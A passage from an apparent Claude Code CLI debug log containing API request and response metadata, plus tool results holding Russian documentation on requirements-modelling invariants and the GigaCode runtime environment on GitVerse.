\u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442,\\n\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0446\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0439 \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u0438 \u0432\\n\u0437\u0430\u0434\u0430\u043d\u043d\u043e\u0439 \u0433\u0440\u0430\u043d\u0438\u0446\u0435. FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 `\u0447\u0442\u043e`, \u0430 \u043d\u0435 \u044d\u043a\u0440\u0430\u043d, control, \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c\\n\u0448\u0430\u0433\u043e\u0432 \u0438\u043b\u0438 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438.\\n\\n`FR-INV-01` \u2014 \u0443 FR \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d `requirement_id`, \u043e\u0434\u0438\u043d system subject \u0438 \u043e\u0434\u043d\u0430\\n\u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0430\u044f capability; \u0441\u043e\u0441\u0442\u0430\u0432\u043d\u043e\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f.\\n\\n`FR-INV-02` \u2014 FR \u0438\u043c\u0435\u0435\u0442 `goal_refs`, `task_refs`, `source_refs`,\\n`product_binding`, `delta_ref` \u0438 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u043e\u0434\u0438\u043d `scenario_ref`.\\n\\n`FR-INV-03` \u2014 \u0442\u0435\u043a\u0441\u0442 \u0432\u044b\u0440\u0430\u0436\u0430\u0435\u0442 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c (`shall` / \u00ab\u0434\u043e\u043b\u0436\u043d\u0430\u00bb) \u0438 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0439\\noutcome. \u0421\u043b\u043e\u0432\u0430 `\u043a\u043d\u043e\u043f\u043a\u0430`, `\u043f\u043e\u043b\u0435`, `\u0432\u043a\u043b\u0430\u0434\u043a\u0430`, `endpoint`, \u0444\u043e\u0440\u043c\u0430\u0442 payload \u0438\\n\u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0432 FR \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f warning, \u043f\u043e\u043a\u0430 semantic gate \u043d\u0435 \u0434\u043e\u043a\u0430\u0436\u0435\u0442,\\n\u0447\u0442\u043e \u044d\u0442\u043e \u0441\u0430\u043c\u043e \u0437\u0430\u043f\u0440\u043e\u0448\u0435\u043d\u043d\u043e\u0435 \u0432\u043d\u0435\u0448\u043d\u0435\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435.\\n\\n`FR-INV-04` \u2014 as-is, project task, rationale, constraint, NFR, acceptance\\ncriterion \u0438 solution option \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0438\u043c\u0435\u0442\u044c \u0442\u0438\u043f FR.\\n\\n\u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u0444\u043e\u0440\u043c\u0430:\\n\\n```yaml\\nrequirement_id: FR-001\\nsystem_subject: target-system\\nshall: \\\"provide \\\"\\ngoal_refs: [GOAL-01]\\ntask_refs: [TASK-01]\\nsource_refs: [SRC-01]\\ndelta_ref: DELTA-01\\nproduct_binding_refs: [PB-01]\\nscenario_refs: [UC-001]\\nacceptance_refs: [AC-001]\\n```\\n\\n### Use Case\\n\\n**\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435.** UC \u2014 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 \u0446\u0435\u043b\u044c\u044e \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f actor-\u0430 \u0441\\n\u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f trigger-\u043e\u043c, \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0438\\n\u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435/\u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0442\u043e\u043a\u0438 \u0438 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u043c outcome. UC\\n\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439; \u0441\u0430\u043c \u043f\u043e \u0441\u0435\u0431\u0435 \u043e\u043d \u043d\u0435\\n\u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043d\u043e\u0432\u0443\u044e capability.\\n\\n`UC-INV-01` \u2014 UC \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 actor, goal, trigger, preconditions, numbered main\\nflow, alternatives/exceptions \u0438 postcondition/outcome.\\n\\n`UC-INV-02` \u2014 \u043a\u0430\u0436\u0434\u044b\u0439 UC \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u043d\u0430 FR, NFR \u0438\u043b\u0438 constraint; \u043a\u0430\u0436\u0434\u044b\u0439 FR\\n\u0438\u043c\u0435\u0435\u0442 \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u0438\u043d UC. \u0421\u0432\u044f\u0437\u044c many-to-many \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0432 \u043e\u0431\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u044b.\\n\\n`UC-INV-03` \u2014 UI control \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0448\u0430\u0433\u043e\u043c UC; failure branch \u2014 alternative \u0438\u043b\u0438\\nexception. \u041d\u0438 \u043e\u0434\u0438\u043d \u0438\u0437 \u043d\u0438\u0445 \u043d\u0435 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f FR \u0431\u0435\u0437 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0439\\ncapability.\\n\\n\u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u0444\u043e\u0440\u043c\u0430:\\n\\n```yaml\\nscenario_id: UC-001\\nactor: ACTOR-01\\ngoal_ref: GOAL-01\\ntrigger: \\\"...\\\"\\npreconditions: [PRE-01]\\nmain_flow: [STEP-01, STEP-02]\",\n[2026-09-29T07:45:05.390Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:45:05.390Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:45:05.390Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:45:05.390Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:45:05.390Z] [INFO]   }\n[2026-09-29T07:45:05.390Z] [INFO] }\n[2026-09-29T07:45:05.407Z] [STDOUT] [log_490491] sending request {\n[2026-09-29T07:45:05.414Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:05.423Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:05.427Z] [STDOUT]   options: {\n[2026-09-29T07:45:05.435Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:05.443Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:05.455Z] [STDOUT]     body: {\n[2026-09-29T07:45:05.469Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:05.493Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:05.497Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:05.504Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:05.527Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:05.547Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:05.574Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:05.585Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:05.587Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:05.589Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:05.597Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:05.600Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:05.606Z] [STDOUT]     },\n[2026-09-29T07:45:05.610Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:05.614Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:05.620Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:05.630Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:05.641Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:05.646Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:05.650Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:05.653Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:05.672Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:05.681Z] [STDOUT]     },\n[2026-09-29T07:45:05.689Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:05.697Z] [STDOUT]   },\n[2026-09-29T07:45:05.706Z] [STDOUT]   headers: {\n[2026-09-29T07:45:05.727Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:05.751Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:05.764Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:05.768Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:05.787Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:05.809Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:05.818Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:05.852Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:05.867Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:05.879Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=3931\",\n[2026-09-29T07:45:05.889Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:05.898Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:45:05.907Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:05.928Z] [STDOUT]     \"x-client-request-id\": \"2411d34b-6711-4c80-ab19-55de0b0eb8cb\",\n[2026-09-29T07:45:05.951Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:05.985Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:05.989Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:06.003Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:06.010Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:06.026Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:06.041Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:06.054Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:06.067Z] [STDOUT]   },\n[2026-09-29T07:45:06.073Z] [STDOUT] }\n[2026-09-29T07:45:06.082Z] [STDOUT] [log_490491, request-id: \"req_011CfXMjH3PgxwSnTsMAc7t9\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 837ms\n[2026-09-29T07:45:06.094Z] [STDOUT] [log_490491] response start {\n[2026-09-29T07:45:06.100Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:06.105Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:06.108Z] [STDOUT]   headers: {\n[2026-09-29T07:45:06.112Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:06.154Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:06.164Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:06.177Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:06.184Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:06.207Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:06.272Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:06.362Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:06.391Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:06.416Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:06.438Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:06.447Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:06.453Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:06.460Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:06.472Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:06.479Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:06.491Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:06.535Z] [STDOUT]     \"cf-ray\": \"a4295dc47ef729ad-FRA\",\n[2026-09-29T07:45:06.559Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:06.579Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:06.638Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:06.651Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:06.664Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:05 GMT\",\n[2026-09-29T07:45:06.674Z] [STDOUT]     \"request-id\": \"req_011CfXMjH3PgxwSnTsMAc7t9\",\n[2026-09-29T07:45:06.692Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:06.707Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:06.729Z] [STDOUT]     traceresponse: \"00-c94a5f0ce63add66397751f29ef124ac-4d2e9b9c8c290f4e-01\",\n[2026-09-29T07:45:06.779Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:06.828Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:06.847Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:06.896Z] [STDOUT]   },\n[2026-09-29T07:45:06.911Z] [STDOUT]   durationMs: 837,\n[2026-09-29T07:45:06.915Z] [STDOUT] }\n[2026-09-29T07:45:06.926Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:06.945Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:05 GMT\",\n[2026-09-29T07:45:07.029Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:07.045Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:07.051Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:07.076Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:07.082Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:07.085Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:07.091Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:07.097Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:07.104Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:07.114Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:07.119Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:07.126Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:07.130Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:07.136Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:07.151Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:07.165Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:07.179Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:07.199Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:07.205Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:07.222Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:07.230Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:07.232Z] [STDOUT]   \"request-id\": \"req_011CfXMjH3PgxwSnTsMAc7t9\",\n[2026-09-29T07:45:07.256Z] [STDOUT]   \"traceresponse\": \"00-c94a5f0ce63add66397751f29ef124ac-4d2e9b9c8c290f4e-01\",\n[2026-09-29T07:45:07.269Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:07.287Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:07.293Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:07.307Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:07.332Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:07.354Z] [STDOUT]   \"cf-ray\": \"a4295dc47ef729ad-FRA\",\n[2026-09-29T07:45:07.366Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:07.374Z] [STDOUT] [log_490491] response parsed {\n[2026-09-29T07:45:07.377Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:07.386Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:07.392Z] [STDOUT]   body: X {\n[2026-09-29T07:45:07.396Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:07.402Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:07.407Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:07.413Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:07.418Z] [STDOUT]     },\n[2026-09-29T07:45:07.425Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:07.430Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:07.439Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:07.448Z] [STDOUT]   },\n[2026-09-29T07:45:07.456Z] [STDOUT]   durationMs: 837,\n[2026-09-29T07:45:07.463Z] [STDOUT] }\n[2026-09-29T07:45:07.471Z] [INFO] {\n[2026-09-29T07:45:07.471Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:07.471Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:45:07.471Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:45:07.471Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:45:07.471Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:07.471Z] [INFO]   \"uuid\": \"6f3f33df-0e35-41cd-9bc2-abbd8d5fc7cb\"\n[2026-09-29T07:45:07.471Z] [INFO] }\n[2026-09-29T07:45:07.479Z] [INFO] {\n[2026-09-29T07:45:07.479Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:07.479Z] [INFO]   \"message\": {\n[2026-09-29T07:45:07.479Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:07.479Z] [INFO]     \"content\": [\n[2026-09-29T07:45:07.479Z] [INFO]       {\n[2026-09-29T07:45:07.479Z] [INFO]         \"tool_use_id\": \"toolu_01DXvjL1beywyhMBvb8bEokq\",\n[2026-09-29T07:45:07.479Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:07.479Z] [INFO]         \"content\": \"# \u0421\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f GigaCode \u043d\u0430 GitVerse: \u0441\u043d\u0438\u043c\u043e\u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043d\u0430 2026-09-10\\n\\n> **\u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435.** \u0414\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0441\u043d\u0438\u043c\u043e\u043a **\u0444\u0430\u043a\u0442\u043e\u0432 \u043e \u0441\u0440\u0435\u0434\u0435**, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0434\u0441\u0442\u043e\u0438\u0442\\n> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043d\u0430\u0432\u044b\u043a\u0438 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u0411\u0410. \u0414\u043e \u044d\u0442\u043e\u0433\u043e \u0437\u0430\u043c\u0435\u0440\u0430 \u043c\u043e\u0434\u0443\u043b\u044c\\n> [`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model)\\n> \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u043b, \u0447\u0442\u043e \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 GigaCode \u043d\u0435\u0442 \u0438 \u0447\u0442\u043e \u0444\u043e\u0440\u043c\u0430 `SKILL.md`\\n> \u0432\u044b\u0432\u0435\u0434\u0435\u043d\u0430 **\u043f\u043e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0438** \u0441 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u043e\u0439 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u0430\u0433\u0435\u043d\u0442\u043e\u0432 Claude. \u041f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\\n> issue [#571](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571)\\n> \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438\u0441\u0442\u0438\u043d\u044b; \u0432\u0441\u0435\\n> \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u0435 \u043e\u0431 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0438 **\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e** \u0438\\n> \u0437\u0430\u043c\u0435\u043d\u0435\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c\u0438 \u0444\u0430\u043a\u0442\u0430\u043c\u0438 `GC-1`\u2013`GC-28`.\\n>\\n> **\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 2026-09-10.** \u041f\u043e\\n> [\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043a PR #572](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/572)\\n> \u0441\u043d\u0438\u043c\u043e\u043a \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d \u0444\u0430\u043a\u0442\u0430\u043c\u0438 `GC-25`\u2013`GC-28`: \u043e\u043d\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442, \u0447\u0435\u043c \u0441\u0440\u0435\u0434\u0430\\n> \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u043e\u0431\u044a\u0451\u043c \u043d\u0430\u0432\u044b\u043a\u0430 \u0441\u0432\u0435\u0440\u0445\u0443 \u0438 \u0441\u043d\u0438\u0437\u0443.\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a.** \u0420\u0430\u0437\u0434\u0435\u043b\\n[`gitverse.ru/docs/ai/ai-development`](https://gitverse.ru/docs/ai/ai-development)\\n\u0438 \u0441\u043e\u0441\u0435\u0434\u043d\u0438\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b, \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0432 